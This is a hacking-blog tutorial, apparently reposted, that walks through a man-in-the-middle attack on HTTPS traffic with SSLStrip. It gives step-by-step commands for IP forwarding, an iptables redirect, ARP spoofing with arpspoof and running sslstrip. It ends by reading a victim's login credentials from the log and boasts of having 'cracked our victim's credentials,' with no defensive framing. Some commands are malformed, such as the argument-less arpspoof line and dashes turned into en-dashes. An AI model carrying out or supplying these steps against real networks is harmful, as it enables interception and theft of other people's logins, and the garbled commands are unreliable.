Hacking, Hacking Tools, Vulnerability

MITM attack over HTTPS connection with SSLStrip



MITM attack

MITM attack with SSLStrip transparently hijack HTTP traffic on a network, look for HTTPS links and redirects, then map those connections into either resembles the other alike HTTP connections or homograph-comparable HTTPS links.

It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial.

Also Read: Top 5 Best Android Hacking Apps 2017

Step1: We should set our machine in forwarding mode so that our machine have the capacity to forward each packet that was not expected for your machine.

echo 1 > /proc/sys/net/ipv4/ip_forward

Step2: Need to set iptables to redirect traffic from port 80 to port 8080 to ensure outgoing connections to sslstrip.

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

Step3: Need to find our Network Gateway.

route -n

MITM attack over HTTPS connection with SSLStrip

Step4: Next we need to find our target machine IP address

MITM attack over HTTPS connection with SSLStrip

Step5: ARP spoofing is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network.



arpspoof -i -t

MITM attack over HTTPS connection with SSLStrip

Step6: Now we need to listen to port 8080, by opening a new terminal window.

sslstrip -l 8080

MITM attack over HTTPS connection with SSLStrip

Step7: Now we should go to the victim machine and for Ex type facebook.com in the browser as we know facebook will go with HTTPS, but now check with victim machine, we can see the connection established through HTTP.

MITM attack over HTTPS connection with SSLStripMITM attack over HTTPS connection with SSLStrip

Step8: Now go to Home folder and check for sslstrip.log file, we can find the username and password victim entered for login.

MITM attack over HTTPS connection with SSLStrip

That’s all we have cracked our victim’s credentials.

If you any doubt please don’t hesitate to leave a comment.

Also, find more Tutorials with kali Linux



Source : GBHackers



Previous ArticleNext Article

Founder and Editor-in-Chief of ‘Professional Hackers India’. Technology Evangelist, Security Analyst, Cyber Security Expert, PHP Developer and Part time hacker.